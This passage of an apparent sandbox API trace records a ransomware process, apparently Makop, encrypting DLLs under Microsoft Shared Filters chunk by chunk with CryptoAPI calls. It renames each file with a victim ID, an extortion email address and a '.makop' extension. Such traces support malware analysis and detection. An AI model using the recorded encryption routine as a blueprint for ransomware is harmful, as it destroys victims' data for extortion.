cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0085.163] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0085.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.165] GetProcessHeap () returned 0x48a0000 [0085.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.165] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.166] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.166] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.166] GetProcessHeap () returned 0x48a0000 [0085.166] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.166] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.166] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.166] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.171] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.171] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9770, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9770, lpOverlapped=0x0) returned 1 [0085.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9770, dwBufLen=0x9770 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9770) returned 1 [0085.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.173] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9770, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9770, lpOverlapped=0x0) returned 1 [0085.174] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.174] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.174] SetEndOfFile (hFile=0xf0) returned 1 [0085.181] GetProcessHeap () returned 0x48a0000 [0085.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.181] GetProcessHeap () returned 0x48a0000 [0085.181] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.181] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0085.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.182] CloseHandle (hObject=0xf0) returned 1 [0085.182] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0085.182] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll") returned 66 [0085.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.184] GetProcessHeap () returned 0x48a0000 [0085.184] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.184] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.184] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.184] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.184] GetProcessHeap () returned 0x48a0000 [0085.185] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.185] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.185] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.185] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.190] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.190] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.190] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.190] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.190] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.190] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0085.220] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0085.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0085.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x140864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.238] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.238] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.239] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40790, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x40790, lpOverlapped=0x0) returned 1 [0085.263] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40790, dwBufLen=0x40790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x40790) returned 1 [0085.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.266] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x40790, lpOverlapped=0x0) returned 1 [0085.268] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x140864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.269] SetEndOfFile (hFile=0xf0) returned 1 [0085.275] GetProcessHeap () returned 0x48a0000 [0085.275] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.275] GetProcessHeap () returned 0x48a0000 [0085.275] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.275] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0085.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.279] CloseHandle (hObject=0xf0) returned 1 [0085.280] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0085.280] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll") returned 67 [0085.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.282] GetProcessHeap () returned 0x48a0000 [0085.282] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.282] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.282] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0085.282] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.282] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.282] GetProcessHeap () returned 0x48a0000 [0085.282] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.282] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0085.282] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.283] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0085.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0085.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0085.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0085.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0085.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.288] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x100000, lpOverlapped=0x0) returned 1 [0085.325] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000, dwBufLen=0x100000 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x100000) returned 1 [0085.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x100000, lpOverlapped=0x0) returned 1 [0085.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16b064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.343] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0085.343] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.344] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6af90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6af90, lpOverlapped=0x0) returned 1 [0085.371] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6af90, dwBufLen=0x6af90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6af90) returned 1 [0085.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.375] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6af90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6af90, lpOverlapped=0x0) returned 1 [0085.380] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x16b064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.380] SetEndOfFile (hFile=0xf0) returned 1 [0085.389] GetProcessHeap () returned 0x48a0000 [0085.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0085.389] GetProcessHeap () returned 0x48a0000 [0085.389] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0085.389] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0085.389] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0085.390] CloseHandle (hObject=0xf0) returned 1 [0085.390] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0085.390] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL") returned 66 [0085.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0085.393] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=2124664) returned 1 [0085.393] GetProcessHeap () returned 0x48a0000 [0085.393] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0085.393] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0085.393] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.393] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0085.398] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0085.398] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.398] GetProcessHeap () returned 0x48a0000 [0085.398] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0085.398] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0085.398] CryptDestroyKey (hKey=0x48c7128) returned 1 [0085.398] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0085.398] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0085.398] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0085.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0085.399] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0085.399] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0085.399] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0085.399] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0085.399] SetFilePointerEx (in: hFile=0xf0, 